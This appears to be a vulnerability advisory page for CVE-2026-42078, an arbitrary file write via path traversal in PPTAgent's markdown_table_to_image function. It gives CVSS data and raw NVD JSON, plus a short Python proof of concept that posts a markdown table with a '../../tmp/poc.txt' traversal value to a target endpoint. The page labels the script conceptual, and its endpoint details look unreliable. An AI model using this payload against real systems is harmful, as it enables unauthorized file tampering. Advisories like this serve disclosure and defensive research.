Security Vulnerability Report
中文
CVE-2026-42078 CVSS 4.6 MEDIUM

CVE-2026-42078

Published: 2026-05-04 17:16:25
Last Modified: 2026-05-05 20:19:04

Description

PPTAgent is an agentic framework for reflective PowerPoint generation. Prior to commit 418491a, PPTAgent is vulnerable to arbitrary file write and directory creation via markdown_table_to_image. This issue has been patched via commit 418491a.

CVSS Details

CVSS Score
4.6
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:L/A:L

Configurations (Affected Products)

No configuration data available.

PPTAgent < commit 418491a

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # This is a conceptual PoC for CVE-2026-42078 # Target: PPTAgent prior to commit 418491a # Vulnerability: Arbitrary file write via markdown_table_to_image target_url = "http://target-pptagent/api/generate" # Malicious payload attempting to write to a file outside the webroot # Using path traversal sequences in the table data markdown_payload = """ | Column 1 | Column 2 | | --- | --- | | ../../tmp/poc.txt | malicious_content | """ data = { "content": markdown_payload, "format": "markdown_table_to_image" # Triggering the vulnerable function } try: response = requests.post(target_url, json=data) if response.status_code == 200: print("Payload sent successfully. Check if file was written.") else: print("Failed to send payload.") except Exception as e: print(f"An error occurred: {e}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-42078", "sourceIdentifier": "[email protected]", "published": "2026-05-04T17:16:24.740", "lastModified": "2026-05-05T20:19:04.323", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "PPTAgent is an agentic framework for reflective PowerPoint generation. Prior to commit 418491a, PPTAgent is vulnerable to arbitrary file write and directory creation via markdown_table_to_image. This issue has been patched via commit 418491a."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:L/A:L", "baseScore": 4.6, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.1, "impactScore": 2.5}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-22"}]}], "references": [{"url": "https://github.com/icip-cas/PPTAgent/commit/418491a9a1c02d9d93194b5973bb58df35cf9d00", "source": "[email protected]"}, {"url": "https://github.com/icip-cas/PPTAgent/security/advisories/GHSA-hrcw-xc63-g29m", "source": "[email protected]"}]}}